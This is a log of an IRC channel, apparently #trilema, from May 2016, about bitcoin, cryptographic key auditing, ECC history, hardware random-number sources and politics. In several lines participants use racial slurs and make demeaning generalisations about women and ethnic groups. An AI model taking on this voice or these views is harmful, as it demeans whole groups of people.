23:50 mod6: this would be possibly because of integration of stan's ideas about heart/eyes/hands/brain, etc. 1465364;1462844073;asciilifeform;http://btcbase.org/log/2016-05-09#1465316 << not why i linked it, but this is a point. 1465365;1462844073;a111;Logged on 2016-05-09 23:20 mircea_popescu: because he purports to misrepresent reality, and worst of all - the reality of his own fucking experience - in castrato terms. o really, "elitism is bad" ? fuck you. if you believe that, how come you're here ? 1465366;1462844107;asciilifeform;http://btcbase.org/log/2016-05-09#1465312 << not sure what it has to do with 'smart kidz' though. it is really more about folks who have been behind the barbed wire for too long, of whatever level 1465367;1462844107;a111;Logged on 2016-05-09 22:27 mircea_popescu: as i age i'm simply rediscovering what i knew as a nine year old, which is, that i really can't stand "smart kids". 1465368;1462844563;mod6;alf: congrats on the quitting 1465369;1462844606;mod6;<+asciilifeform> http://btcbase.org/log/2016-05-09#1465348 << imho none of this needs to be ~in~ v. << yeah i gotta re-read all of this stuff again. 1465370;1462844606;a111;Logged on 2016-05-09 23:50 mod6: this would be possibly because of integration of stan's ideas about heart/eyes/hands/brain, etc. 1465371;1462845203;asciilifeform;mod6: i suggested it for pgptron 1465372;1462845661;mod6;ah. 1465373;1462845668;mod6;hrm. must have mis-remembered that 1465374;1462845729;asciilifeform;on 2nd thought i never said precisely where. 1465375;1462845748;asciilifeform;but signatures are produced in pgptron, not in v. 1465376;1462847472;mod6;i need to look again,but have handsfull at current second 1465377;1462847551;mircea_popescu;asciilifeform no. it's the sort of kid that seeks approval in school. 1465378;1462847568;mircea_popescu;this usually overlaps with the subset that has any chance at getting any. 1465379;1462849230;asciilifeform;ah l0l! the grinding wheels ! 1465380;1462849254;mircea_popescu;hm ? 1465381;1462849269;asciilifeform;the 'seeks approval' kid 1465382;1462849374;mircea_popescu;it's a typical behaviour of the weak (which is how women end up so ensconced in the general aspic of stupid womanhood), that's veheheeerily carefully cultivated by socialist/female society. 1465383;1462849419;mircea_popescu;the difference being that there's good anatomic reasons for female physical weakness ; there's no good reasons whatsoever for intelligent kid social ineptitude. 1465384;1462849433;mircea_popescu;but they teach girls to "not can" math with the same instruments. 1465385;1462849531;asciilifeform;ftr i disagree with 'no good reasons whatsoever for intelligent kid social ineptitude' 1465386;1462849537;asciilifeform;recall the chimp cage in the zoo ? 1465387;1462849543;mircea_popescu;eh. 1465388;1462849544;asciilifeform;what if you have NO USE for chimps. 1465389;1462849553;asciilifeform;none, whatsoever. 1465390;1462849559;asciilifeform;no matter if there is no one else around. 1465391;1462849658;mircea_popescu;experimentally, intelligent girls they forget to teach about how they're creative and can't learn math accidentally learn math just like normal human beings. idem intelligent boys they forget to teach they should be shy and inept do just fine. in other news, http://i40.tinypic.com/69i0dz.jpg 1465392;1462849747;asciilifeform;l0l! 1465393;1462849757;mircea_popescu;aha. 1465394;1462849771;asciilifeform;i still wonder why cn forgave the 'accidenting' of its embassy so easily. 1465395;1462849782;asciilifeform;(y'know, the place where the carcass was stored) 1465396;1462849786;mircea_popescu;somehow nobody makes any hay of the fact that THE SERBS WERE INTERCEPTING NATO MILITARY COMMS. IN 1999! 1465397;1462849935;asciilifeform;https://cryptome.org/2016-info/cia-obl-snafu/cia-obl-snafu.htm << somewhat related lulz. 1465398;1462850269;mircea_popescu;expired cert ? 1465399;1462850278;asciilifeform;aha, but who gives a fuck 1465400;1462850289;mircea_popescu;why the fuck even bother with https already. it's insecure, we know this.they don't even cursory make an attempt. what's next, go on tor ? 1465401;1462850293;asciilifeform;i have nfi 1465402;1462850307;asciilifeform;why does cargocult airplane need straw propeller. 1465403;1462850310;asciilifeform;ask them, not me. 1465404;1462850310;*;mircea_popescu doesn't read it. fucking derps. 1465405;1462850353;asciilifeform;https://archive.is/WMjTV << cured. 1465406;1462850355;asciilifeform;special for mircea_popescu . 1465407;1462850364;mircea_popescu;why thank you. and speaking of dubiosenii, 1465408;1462850365;mircea_popescu;;;later tell gwern hey, you around ? 1465409;1462850365;gribble;The operation succeeded. 1465410;1462850374;asciilifeform;incidentally might ask archive.is why they ssl. 1465411;1462850481;mircea_popescu;these people are idiots. the mock-up is accurate. 1465412;1462850485;mircea_popescu;derps never been on a movie set. 1465413;1462850542;mircea_popescu;"accurate" in this context does not mean "geometrically identical to rando tourist with a camera", but "of such configuration all scripted scenes can be filmed without visible difference". you can fold it, which is what they did. burbank does the exact fucking thing all the time. 1465414;1462850718;asciilifeform;perhaps they forgot that the real scene does not fold to fit the chopper... 1465415;1462851153;mircea_popescu;eh, i imagine it must utterly suck to work pr for the usarmy etc. you're stuck reading the internet, this unique mezclado of pointed ignorance and cured coincidence. 1465416;1462851172;mircea_popescu;if the fucking chopper pilot needed a lifesized model to land his bird... 1465417;1462851209;mircea_popescu;grunts on the ground need the fucking model, because muscle memory. 1465418;1462851653;deedbot;[Qntra] Insurgent Florida Politician Arrested After Auditing Local Election Website Security - http://qntra.net/2016/05/insurgent-florida-politician-arrested-after-auditing-local-election-website-security/ 1465419;1462851654;BingoBoingo;^ asciilifeform 1465420;1462852071;mircea_popescu;win. 1465421;1462853069;mod6;http://btcbase.org/log/2016-04-30#1459548 << mircea_popescu, so would a Left to Right orientation be alright then? 1465422;1462853069;a111;Logged on 2016-04-30 01:13 mircea_popescu: mod6 could graph be vertical rather than horizontal alligned ? 1465423;1462853092;mircea_popescu;i just meant it's 1000x80 now, should be 80x1000 1465424;1462853216;mod6;ah, hm. alright. 1465425;1462868713;j-dawg;mircea_popescu: mpex is not updating orderbook again 1465426;1462887904;*;mircea_popescu checks this out 1465427;1462889083;mircea_popescu;seems to be ok 1465428;1462889970;shinohai;Morning #trilema http://i.4cdn.org/b/1462887860424.gif 1465429;1462890040;mircea_popescu;hola shinohai 1465430;1462890159;shinohai;;;ticker --market all 1465431;1462890165;gribble;Bitstamp BTCUSD last: 452.9, vol: 5259.62288531 | BTC-E BTCUSD last: 449.999, vol: 6189.53064 | Bitfinex BTCUSD last: 452.65, vol: 26970.744069 | BTCChina BTCUSD last: 452.90789, vol: 35031.30640000 | Kraken BTCUSD last: 455.51, vol: 1708.34797017 | Bitcoin-Central BTCUSD last: 457.34854, vol: 58.13538837 | Volume-weighted last average: 452.638030877 1465432;1462890181;mircea_popescu;http://olegbumbac.blogspot.com.ar/2012/05/normal-0-false-false-false-en-us-x-none.html << maybe interesting to the esl crowd that earnestly believes "western decay" is "woman's fault" because they somehow oppress males or are feminazis or whatever : the supposedly independent republic of moldavia exhibits the EXACT opposite atmosphere (like many ex soviet sattelite provinces, actually, orcland). the females are outright worsh 1465433;1462890181;mircea_popescu;ipful of manhood. 1465434;1462890214;mircea_popescu;not even any man specifically, manhood as a transcendental superiority. visible in how seventeen year olds behave in public to a larger degree than the insolence of anglos is visible ; visible throughout. 1465435;1462890215;davout;http://btcbase.org/log/2016-05-10#1465428 <<< can't wait for the "plane" version 1465436;1462890215;a111;Logged on 2016-05-10 14:19 shinohai: Morning #trilema http://i.4cdn.org/b/1462887860424.gif 1465437;1462890225;shinohai;hue 1465438;1462890228;mircea_popescu;nevertheless, moldavia is still a shithole. always was a shithole. 1465439;1462890279;mircea_popescu;all the worship of one gender by the other does in practice is sink that other, moldavian men are some of the most miserable, whiny, incompetent and discapacitated dudes you'll ever see. almost gypsy level (and guess why gypsies - much like niggers btw - are cowardly ? yes it's because female worship, of fucking course). 1465440;1462890286;mircea_popescu;so... no. tis not teh women's fault in any sense. 1465441;1462890379;mircea_popescu;shinohai is that gord ? 1465442;1462890383;mircea_popescu;must be. 1465443;1462890469;mircea_popescu;oh which reminds me : http://66.media.tumblr.com/22a9604c72144dd8488eaf58eb0831ee/tumblr_nb241cgC5Q1riwxk3o1_1280.jpg << face! 1465444;1462890490;shinohai;O.o 1465445;1462891775;asciilifeform;lel 1465446;1462891819;mircea_popescu;no good ? 1465447;1462891911;mircea_popescu;fine, ok. http://i.imgur.com/3wpWQSs.jpg 1465448;1462891933;asciilifeform;mno. 1465449;1462891941;mircea_popescu;tough crowd. 1465450;1462891947;asciilifeform;that face - no theorems. 1465451;1462891959;mircea_popescu;you can tell by the face ? 1465452;1462892021;deedbot;[Trilema] Vasile, c'est tout. - http://trilema.com/2016/vasile-cest-tout/ 1465453;1462892681;mircea_popescu;#face http://urod.ru/uploads/102015/polv_01.jpg 1465454;1462892863;shinohai;Quick question twiw: Does deedbot operate on the same L1 & L2 scheme as assbot did? 1465455;1462892870;mircea_popescu;afaik 1465456;1462892887;shinohai;k, thanks 1465457;1462893939;asciilifeform;mircea_popescu: lulzy, https://www.pgpru.com/forum/prakticheskajabezopasnostj/chegostoitichegonestoitbojatjsjaapparatnyebekdoryiproprietarnyeproshivki?show_comments=1&p=6#Comment73399 << early sanity 1465458;1462893976;asciilifeform;(whole forum is like this. found it via phuctor reflogz) 1465459;1462894115;mircea_popescu;seems yoi found some friends. 1465460;1462894167;asciilifeform;not quite, mostly folks crying into their drinks 1465461;1462894173;asciilifeform;but crying in the right direction!111 1465462;1462894952;asciilifeform;mircea_popescu: another minor l0l, https://www.pgpru.com/forum/rabotasgnupg/gpg4wincherezanusrasshifrovyvaetkirillicu << all the orcish font support is for naught, gpg4win craps out rubbish when used with cyrillic 1465463;1462895013;mircea_popescu;it's not supposed to work in THAT sense. fuck the orcs, who cares. it's supposed to work in THIS other sense. 1465464;1462895022;mircea_popescu;still fucking overflowing, to this day, 15 years later. 1465465;1462895141;asciilifeform;yah well in that sense worx great, a++++ 1465466;1462895603;trinque;shinohai: having a problem? 1465467;1462895618;asciilifeform;https://www.pgpru.com/servisy/packetdump << they have a pgp packet dumper, but it seems to barf on anything i give it 1465468;1462895633;trinque;oh you're prolly working on wiki stuff 1465469;1462895781;shinohai;yeah working on wiki stuff trinque ... trying to learn clwiki formatting, of which there seems to be little 1465470;1462895863;shinohai;For now just going to strip all the old stuff to basic parts and go from there I guess. 1465471;1462895871;trinque;cool 1465472;1462896092;shinohai;trinque: am I missing something, or I cannot format like this: http://i.imgur.com/7s2ZFyD.png?1 1465473;1462896459;shinohai;Good question: http://www.wsj.com/articles/what-is-preet-bharara-afraid-of-1462835952 1465474;1462896468;deedbot;[Trilema] Double Indemnity - http://trilema.com/2016/double-indemnity/ 1465475;1462896646;mircea_popescu;me. 1465476;1462896730;asciilifeform;http://trilema.com/2016/double-indemnity/#comment-117231 1465477;1462897120;mircea_popescu;:p 1465478;1462897683;trinque;shinohai: I can add css to whichever tags you need styled 1465479;1462901858;asciilifeform;l0l, phuctor ddos apparently 1465480;1462902032;shinohai;I've seen it all now: http://www.dailymail.co.uk/news/article-3580492/South-Africa-launches-breaking-wind-competition-youths-heroin.html 1465481;1462902048;shinohai;MAy as well shutter the DEA now 1465482;1462903734;asciilifeform;mircea_popescu: ecc lulz: https://www.pgpru.com/novosti/2012/mojapoezdkavdwavepotustoronumjasnogosendvicha?show_comments=1&p=6#Comment93883 1465483;1462903755;asciilifeform;quite possibly, these folx read the logz. 1465484;1462903796;asciilifeform;http://eprint.iacr.org/2015/1018.pdf << related. 1465485;1462903818;asciilifeform;http://dpaste.com/2H60PT0.txt << plaintxt 1465486;1462903998;asciilifeform;'The first time the NSA publicly and decisively gave support to ECC occurred at a meeting of the American National Standards Institute (ANSI) in December 1995. The backers of RSA at the meeting were casting doubt on the safety of ECC-based protocols; in the mid-1990s a page called “ECC Central” on the RSA website carried statements by leading personalities in cryptography that characterized ECC 1465487;1462904004;asciilifeform;as untested and based on esoteric mathematics. ' 1465488;1462904006;asciilifeform;'The nontechnical industry representatives on the ANSI committee were impressed by the RSA argument. As the heated debate continued, the NSA representative left to make a phone call. When he returned, he announced that he was authorized to state that the NSA believed that ECC had sufficient security to be used for secure communications among all U.S. government agencies, including the Federal Reserv 1465489;1462904012;asciilifeform;e. People were stunned. In those days the NSA representatives at standards meetings would sit quietly and hardly say a word. No one had expected such a direct and unambiguous statement from the NSA. The ECC standards were approved.' 1465490;1462904020;asciilifeform;^ mega-l0l! ^ 1465491;1462904379;asciilifeform;pure gold: 1465492;1462904382;asciilifeform;'To ensure that the NSA-generated elliptic curves did not belong to a very 1465493;1462904382;asciilifeform;special class of curves, a simple procedure was devised whereby the coeffi- 1465494;1462904382;asciilifeform;cients of an elliptic curve were derived by passing a seed through the hash 1465495;1462904382;asciilifeform;function SHA-1. Given the seed and its associated elliptic curve, anyone 1465496;1462904383;asciilifeform;could check that the curve had been generated from the seed. Since SHA-1 1465497;1462904385;asciilifeform;is (still) considered to be a one-way function, it would be infeasible for anyone 1465498;1462904387;asciilifeform;to first select a curve with very special properties, and then find a seed 1465499;1462904390;asciilifeform;which yields that curve.' 1465500;1462904402;asciilifeform;FUCK invisible linefeed garbage 1465501;1462904428;asciilifeform;anyway - whole thing eminently worth reading. 1465502;1462905936;asciilifeform;http://people.item.ntnu.no/~danilog/Hash/Non-random-behaviour-narrow-pipe-designs-03.pdf << interesting re 'whitening' etc. (tldr: no known hash behaves like 'random oracle', demonstrably) 1465503;1462906221;deedbot;[Qntra] What Is Preet Bharara Afraid Of? - http://qntra.net/2016/05/what-is-preet-bharara-afraid-of/ 1465504;1462906848;asciilifeform;http://valerieaurora.org/hash.html << moar lulz. 1465505;1462907096;BingoBoingo;;;ticker --market all 1465506;1462907105;gribble;Bitstamp BTCUSD last: 453.0, vol: 4838.28317451 | BTC-E BTCUSD last: 448.841, vol: 5677.33624 | Bitfinex BTCUSD last: 453.18, vol: 23104.63533724 | BTCChina BTCUSD last: 451.628008, vol: 29502.97510000 | Kraken BTCUSD last: 454.601, vol: 983.52914552 | Bitcoin-Central BTCUSD last: 460.023413, vol: 70.41158083 | Volume-weighted last average: 452.0984038 1465507;1462907188;BingoBoingo;http://notyourgoodfatty.com/court-says-obesity-is-not-a-disability/ 1465508;1462907209;shinohai;bwahahhaaaa nice article BingoBoingo 1465509;1462907222;BingoBoingo;WHich one? 1465510;1462907246;shinohai;"What is Preet Bharara afraid of?" 1465511;1462907262;shinohai;Kinda succinct, but good 1465512;1462910800;BingoBoingo;;;bc,stats 1465513;1462910804;gribble;Current Blocks: 411202 | Current Difficulty: 1.7865925777252728E11 | Next Difficulty At Block: 411263 | Next Difficulty In: 61 blocks | Next Difficulty In About: 9 hours, 26 minutes, and 42 seconds | Next Difficulty Estimate: None | Estimated Percent Change: None 1465514;1462912031;danielpbarron;BingoBoingo, I don't mind that you add words to my articles, especially when new info comes out after i have submitted it (like a third bet) but please don't add in a way that breaks the flow. The point I made in regard to the ethereum bet is hard to follow with the trump bet listed right before it 1465515;1462912165;danielpbarron;and yes i probably could have mentioned that znort is in WoT but znort never talks here, so it's a toss up. Chat more, get more mentions. Don't chat, get forgotten 1465516;1462912528;BingoBoingo;danielpbarron: Sorry, I'll try to fix the flow 1465517;1462912613;BingoBoingo;danielpbarron: how is http://qntra.net/2016/05/a-form-of-bitbet-online-again/ 1465518;1462912758;danielpbarron;not what i woulda done but it worx 1465519;1462913502;BingoBoingo;ty 1465520;1462913564;punkman;https://news.ycombinator.com/item?id=11666857 1465521;1462913695;mircea_popescu;da fuck do these people do, 17yo highschool gossip ? 1465522;1462913705;punkman;mhmm 1465523;1462913739;mircea_popescu;worthless bullshit, i want to know what "company" this is to short the shit off it. 1465524;1462913764;mircea_popescu;also i wanna know what the fuck irl name "milfseriously" has, just in case he shows up at any social event and isn't there as a toilet slave. 1465525;1462913858;mircea_popescu;asciilifeform if it was it didn't last long. 1465526;1462913874;mircea_popescu;still, getting 30-50/hour submissions is pretty good imo. 1465527;1462913946;mircea_popescu;asciilifeform amusingly, the decade intervening has meanwhile totally fucked them. they're moving off ecc now in a hurry, and their dilemma is "go back to rsa or beg alf for c-s." 1465528;1462913952;asciilifeform;lel 1465529;1462913969;mircea_popescu;which is pretty lulzy considering tmsr is supposed to be this obscure thing rather than the leading governmental authority of the world./ 1465530;1462913986;asciilifeform;my current understanding is that it is nearly certain that a summer intern has been sent to write a usg c-s. 1465531;1462914026;mircea_popescu;aha. should be funny once his dr wright implementation comes to pieces./ 1465532;1462914034;mircea_popescu;an event which, of course, nobody could have predicted. 1465533;1462914040;mircea_popescu;also the above lines didn't happen. 1465534;1462914068;asciilifeform;naturally. 1465535;1462914111;asciilifeform;re: the hn thread and 'her-assment' - folks living under usg are quite like children under drunkard father - they learn to 'build fences' (orthodox jew concept) around 'what might upset him' 1465536;1462914139;asciilifeform;thus it is quite ordinary for folks who so much as fall under suspicion to be sacked 1465537;1462914165;mircea_popescu;lol aheeb the horsy will be fucking famous before he dies huh, 1465538;1462914182;asciilifeform;waiwut 1465539;1462914191;punkman;so should the chick tell her boss new guy is harassment lawsuit waiting to happen? 1465540;1462914235;mircea_popescu;BingoBoingo danielpbarron has a point ; editing people's articles is a very iffy thing, best to discuss it with them prior to publication if it's anything more than a word or such. 1465541;1462914287;mircea_popescu;punkman the chick was the adult at the table, from what can be seen. the "boss" is a pimply imbecile who has no business in business. 1465542;1462914456;asciilifeform;thing is, the boss in the link is not a complete idiot, so much as the mere fact of a 'harassment' suit can sink a small firm. 1465543;1462914475;mircea_popescu;pfff. 1465544;1462914512;mircea_popescu;such a thing as a "small firm" may not exist in an environment where such a thingas "harassment" exists. 1465545;1462914516;mircea_popescu;move. 1465546;1462914548;asciilifeform;brilliant, never-before thought of pill !111111 1465547;1462914559;asciilifeform;why not 'breathe fire at the enemy' 1465548;1462914583;mircea_popescu;it's not a pill, even. "how can i lose weight while eating 5-6k calories a day ???" "you can't. stop eating." "hurr durr." 1465549;1462914585;mircea_popescu;srsly nao. 1465550;1462914596;asciilifeform;'let them eat cake' (tm) (r) 1465551;1462914604;mircea_popescu;there isn't a pill for everything. 1465552;1462914670;BingoBoingo; BingoBoingo danielpbarron has a point ; editing people's articles is a very iffy thing, best to discuss it with them prior to publication if it's anything more than a word or such. << ok 1465553;1462914764;mircea_popescu;i suppose you can just do it in an emergency sort of set-up, but really it's like pinching asses in the subway. best to be kept at a minimum. 1465554;1462915323;j-dawg;i had similar issue with bingo and he promised to consult his redactions, but he likes to forget :D 1465555;1462915492;j-dawg;or, better to say, he likes to get carried away 1465556;1462915558;shinohai;Editors gonna edit. 1465557;1462916443;BingoBoingo;I am not always as rememberful as I would like to be. 1465558;1462916887;asciilifeform;unrelatedly, http://cse.iitkgp.ac.in/Events/IndoCrypt08/Dec-15-2008/images/html/dscf5311.html 1465559;1462921194;mircea_popescu;eh things occur. 1465560;1462921272;mircea_popescu;asciilifeform them nametag shits... 1465561;1462921364;mircea_popescu;ftr t lange is pretty respectable, knitting or no knitting. http://www.hyperelliptic.org/tanja/ 1465562;1462921395;mircea_popescu;see the unclonable functions project etc. 1465563;1462921853;asciilifeform;mircea_popescu: aha 1465564;1462921892;asciilifeform;iirc she is bernstein's coauthor in pretty much everything, also. 1465565;1462923718;mircea_popescu;guess so 1465566;1462929215;asciilifeform;;;later tell mircea_popescu http://www.gossamer-threads.com/lists/gnupg/users/75955?page=last << phuctor lulz 1465567;1462929215;gribble;The operation succeeded. 1465568;1462929275;asciilifeform;rjh is one of the mirrored-phuctored folk btw. 1465569;1462929290;asciilifeform;so nobody's gonna be signing anything with that key. 1465570;1462929557;asciilifeform;in other nyooz, 1465571;1462929560;asciilifeform;my scintillator fibre is here. 1465572;1462929563;asciilifeform;brb. 1465573;1462935169;mod6;i thought you said it was like impossible to get? 1465574;1462935474;BingoBoingo;Ebay's a hell of a drug 1465575;1462935581;trinque;http://www.reuters.com/article/us-facebook-socialmedia-idUSKCN0Y12EU << congress staying on top of the important problems of the day. 1465576;1462936227;asciilifeform;mod6: it turned up. 1465577;1462936234;mod6;nice! 1465578;1462936266;asciilifeform;some fella's selling miles of it. usg surplus. 1465579;1462936404;mod6;hey hey 1465580;1462936406;mod6;cool 1465581;1462936708;mircea_popescu;ahhh coq au vin ftw. 1465582;1462936886;mircea_popescu;asciilifeform kinda weird reaction from the derps. it's almost as if they welcome teh ownage. 1465583;1462936912;asciilifeform;'spread wide & think of england!!11' 1465584;1462937006;mircea_popescu;in related news, http://66.media.tumblr.com/2a95eba78bb25dbbaf6a0bb4c2575d7b/tumblr_nij5hhRiOz1r59rt8o1_1280.jpg why are teenage ankles so obviously teenage ? 1465585;1462937238;BingoBoingo;less time with rope? 1465586;1462937326;mircea_popescu;possibly less time in shoes. 1465587;1462937369;*;asciilifeform realized that the perfect rng is in fact... a spinthariscope. 1465588;1462937383;asciilifeform;not geiger, not fiber, but ye olde motherfucking spinthariscope. 1465589;1462937396;mircea_popescu;why ? 1465590;1462937410;asciilifeform;no hv inverter (unlike geiger); 1465591;1462937413;mircea_popescu;it wears out just as much as geiger 1465592;1462937416;asciilifeform;nope. 1465593;1462937418;asciilifeform;no gas. 1465594;1462937424;mircea_popescu;well, coating\ 1465595;1462937428;asciilifeform;dun wear out. 1465596;1462937433;asciilifeform;100 y.o. ones still work. 1465597;1462937457;mircea_popescu;difference between "still works" and "still same". 100 yo lightbulbs still work, but they don't have the same resistance they had 100 years ago 1465598;1462937519;asciilifeform;use something with reasonably absurbly long half life 1465599;1462937523;asciilifeform;e.g., am-241. 1465600;1462937530;mircea_popescu;i guess they use americium now yeah 1465601;1462937573;mircea_popescu;still, not obvious why it'd be better than geiger, fiber or electronic noise. 1465602;1462937574;asciilifeform;and at any rate, for a reasonably low bit rate, can use backgroumd. 1465603;1462937588;asciilifeform;because ZnS is neither rare nor difficult to make. 1465604;1462937594;asciilifeform;geiger sucks arse ! 1465605;1462937596;asciilifeform;needs hv 1465606;1462937599;asciilifeform;inverter. 1465607;1462937606;asciilifeform;which introduces own periodicity 1465608;1462937607;mircea_popescu;heh. and if one day a comet with a heart of radium goes by, we'll know in the keys. 1465609;1462937620;asciilifeform;(and geiger has life measured in 100s hrs) 1465610;1462937681;mircea_popescu;micro, rather than macro is the correct direction here.\ 1465611;1462937693;mircea_popescu;you don't want to tie-in to momentuous, galactic events 1465612;1462937705;asciilifeform;those don't spit out alpha anyway. 1465613;1462937720;asciilifeform;(mean free path of ~1cm at stp) 1465614;1462937793;asciilifeform;50g of ZnS crystal from cn, incidentally, is ~$10. 1465615;1462937827;asciilifeform;(standard old school b&w crt phosophour) 1465616;1462937917;mircea_popescu;not hard to make either.\ 1465617;1462937924;asciilifeform;aha. 1465618;1462937993;asciilifeform;http://www.qsl.net/k0ff/BicronZnS-AgMaterialSheet/Image.JPG 1465619;1462941399;deedbot;[Trilema] STFU, Attention Whore Culture. - http://trilema.com/2016/stfu-attention-whore-culture/ 1465620;1462942865;mod6;mircea_popescu: I've updated the tickets graph. The nodes are clickble now, and liednk to the htmlified tickets.html filon the server. 1465621;1462942913;mod6;I've also got the graph going from L->R, i can't seem to get it to be less wide very easy. Anyway, let me know what you think: 1465622;1462942926;mod6;http://thebitcoin.foundation/tickets/ticket_graph.html 1465623;1462942941;mod6;http://thebitcoin.foundation/tickets/tickets.html 1465624;1462942963;mod6;also, an updated ascii graph: http://thebitcoin.foundation/tickets/ascii_ticket_graph.txt 1465625;1462942969;mod6;all comments are welcome. 1465626;1462942994;mod6;On the otherhand, there isn't a legend yet. Green nodes = Saga tickes, Red nodes = Defect tickets. 1465627;1462943002;mod6;So got a few things left. 1465628;1462943186;mod6;Anyway, night! 1465629;1462943197;BingoBoingo;Related to the last trilema https://voat.co/v/fatpeoplehate/comments/1031992 1465630;1462943735;mircea_popescu;ok now that's pretty cool mod6 1465631;1462943958;mircea_popescu;"does not believe in doxxing" lost my interest. 1465632;1462944320;BingoBoingo;In other news Rodham-Clinton lost West Virginia to Sanders. Trump-Clinton won his contest. 1465633;1462945250;ben_vulpes;https://github.com/znort987/blockparser << same znort? 1465634;1462945418;mircea_popescu;BingoBoingo it's gonna be so fucking lulzy when trump ends up at the white house and he does exactly what obama did. remember, the nigger was gonna be entirely 100% not like bush, and like close down guantanamo and get out of iraq etc ? 1465635;1462945428;mircea_popescu;read my lips : no scripts are new. 1465636;1462945433;BingoBoingo;lol 1465637;1462945545;ben_vulpes;man i hate the "legacy building" phase of presidencies 1465638;1462945559;ben_vulpes;someone tried to tell me obab did away with DADT 1465639;1462945601;ben_vulpes;nigga were you sleeping during third grade american civics? all he did is not veto it 1465640;1462945825;*;BingoBoingo imagines ben_vulpes president of cascadia spending his last year in office tearing apart everything he built during his term 1465641;1462949754;ben_vulpes;i can't really imagine "serving the people" in any way 1465642;1462975745;mircea_popescu;"president of cascadia" and "serving the people" have very little overlap neh ? 1465643;1462979634;shinohai; ;;ticker --market all 1465644;1462979643;shinohai;well 1465645;1462979649;shinohai;;;ticker --market all 1465646;1462979656;gribble;Bitstamp BTCUSD last: 453.93, vol: 4446.17740376 | BTC-E BTCUSD last: 449.273, vol: 6173.5524 | Bitfinex BTCUSD last: 453.11, vol: 9540.42070612 | BTCChina BTCUSD last: 453.760512, vol: 22661.87470000 | Kraken BTCUSD last: 454.153, vol: 1711.23759927 | Bitcoin-Central BTCUSD last: 455.96448, vol: 55.81575722 | Volume-weighted last average: 453.034732962 1465647;1462982571;ben_vulpes;i suppose 1465648;1462982696;ben_vulpes;https://zedshaw.com/2015/07/26/turd-cookies/ << morning chuckles 1465649;1462982933;deedbot;[Trilema] Eulora Hall of Fame - http://trilema.com/2016/eulora-hall-of-fame/ 1465650;1462983005;asciilifeform;ben_vulpes: epic 1465651;1462983023;asciilifeform;mircea_popescu, even, i suspect, will like it. 1465652;1462983045;mircea_popescu;the who ? 1465653;1462983073;asciilifeform;mircea_popescu: http://btcbase.org/log/2016-05-11#1465648 1465654;1462983073;a111;Logged on 2016-05-11 16:04 ben_vulpes: https://zedshaw.com/2015/07/26/turd-cookies/ << morning chuckles 1465655;1462983108;mircea_popescu;lmao 1465656;1462983128;asciilifeform;that there's the whole life story of opensores. 1465657;1462983335;mircea_popescu;pretty good write-up. who's the zedshaw guy ? 1465658;1462983372;asciilifeform;iirc, a programmer-humourist sort 1465659;1462983375;ben_vulpes;$google "rails is a ghetto" 1465660;1462983381;deedbot;https://www.reddit.com/user/RailsIsAGhetto << overview for RailsIsAGhetto | https://www.reddit.com/r/ruby/comments/3jow6q/why_arent_there_any_online_ruby_courses_coursera/ << Why aren't there any online Ruby courses? Coursera, Edx, Udacity ... | https://www.reddit.com/r/Austin/comments/37yh7u/tired_of_feeling_unwelcome_by_not_being_from/ << Tired of feeling unwelcome by not being "from" Austin. : Austin 1465661;1462983403;ben_vulpes;i think at this point $google only serves to demonstrate how pathetically useless google is. 1465662;1462983426;ben_vulpes;http://web.archive.org/web/20080103072111/http://www.zedshaw.com/rants/rails_is_a_ghetto.html 1465663;1462983435;ben_vulpes;programmer/humorist isn't bad 1465664;1462983445;mircea_popescu;yeah. 1465665;1462983472;ben_vulpes;mostly notable in my mind for not taking shit and dishing out solid cussings 1465666;1462983493;mircea_popescu;well if you know him tell him we like him nao ? 1465667;1462983557;asciilifeform;'Before Mongrel I was building kick ass software for the NYC Dept. of Correction with a tiny team. We were doing innovative stuff like REST XML feeds of prisoner releases and RSS of prisoner transfers. It was fun, I was in charge, and things were pretty good. 1465668;1462983562;asciilifeform;' << win 1465669;1462983623;ben_vulpes;mircea_popescu: i don't actually know him 1465670;1462983692;mircea_popescu;nah, he has better. "reading poetry is like explaining jokes, except the inane hipster is deeply attached to what he's doing" 1465671;1462983709;asciilifeform;'The main Rails application that DHH created required restarting ~400 times/day. ' << he has to be joking, right ?? 1465672;1462983716;ben_vulpes;asciilifeform: this is famous! 1465673;1462983726;asciilifeform;ben_vulpes: which this 1465674;1462983731;ben_vulpes;the constant restarts! 1465675;1462983741;mircea_popescu;alf the sheltered bee-dog. 1465676;1462983782;asciilifeform;what can i do, even my trb hasn't restarted since december 1465677;1462983802;mircea_popescu;see, and the dept of computer corrections tried to help you with your phuctor 1465678;1462983845;asciilifeform;l0lctor 1465679;1462983887;trinque;ben_vulpes: gawd, I remember that pain. setting resource limits that triggered a restart was just "how it's done" on rails 1465680;1462984015;mircea_popescu;"This defense of the personal in open source is so bad that twice I’ve had project leaders tell me strangely personal tragic shit about them to keep me from commenting publicly about their projects. " 1465681;1462984019;mircea_popescu;for the love of fuck already. 1465682;1462984119;mircea_popescu;https://zedshaw.com/2015/08/02/the-defense-of-the-personal/#comment-106 << "I’m absolutely fascinated by bitcoin. Both because it is so crazy that people are using it as money, and because of its technical details. If I had time I’d definitely investigate it further but for now I just observe and wonder." 1465683;1462984196;mircea_popescu;by now an early point when checking people is to... look on phuctor. 1465684;1462984249;mircea_popescu;asciilifeform any chance i could get freeform grep for userstrings somewhere in there ? 1465685;1462984395;mircea_popescu;annoyingly enough, there's a half dozen keys for zed a shaw from 1998-2002 ; all 1kb, from arizona state onwards. 1465686;1462984410;mircea_popescu;the crypto war got so fucking lost for some reason... wtf happened in 2002 already. 1465687;1462984440;asciilifeform;mircea_popescu: what's wrong with curl .... | grep ... ? 1465688;1462984447;mircea_popescu;danielpbarron if you don't mind drop a note @lzsthw with a link here, tell him he can have 0.1 btc if he shows up. 1465689;1462984449;asciilifeform;recall, single-pages 1465690;1462984456;mircea_popescu;asciilifeform i wanna search the whole db. 1465691;1462984460;asciilifeform;ah hm 1465692;1462984482;mircea_popescu;actually... consider giving someone with a bot sql access ? as per teh earlier discussions with this ? 1465693;1462984495;asciilifeform;sure 1465694;1462984500;asciilifeform;anyone in particular interested ? 1465695;1462984500;mircea_popescu;then i could $search phuctor "zed\|shaw" 1465696;1462984503;asciilifeform;trinque ? 1465697;1462984526;ben_vulpes;https://twitter.com/lzsthw/status/724416377704980484 << oh ffs why do people insist on buffers not ALWAYS REFLECTING THAT WHICH IS ON DISK? 1465698;1462984577;asciilifeform;dafuq is 'atom' 1465699;1462984605;trinque;asciilifeform: can do; drop me a gpg-gram with db info? 1465700;1462984622;trinque;I'll be leaving in about 30min, can hax this tomorrow 1465701;1462984629;ben_vulpes;asciilifeform: webkit 'editor' 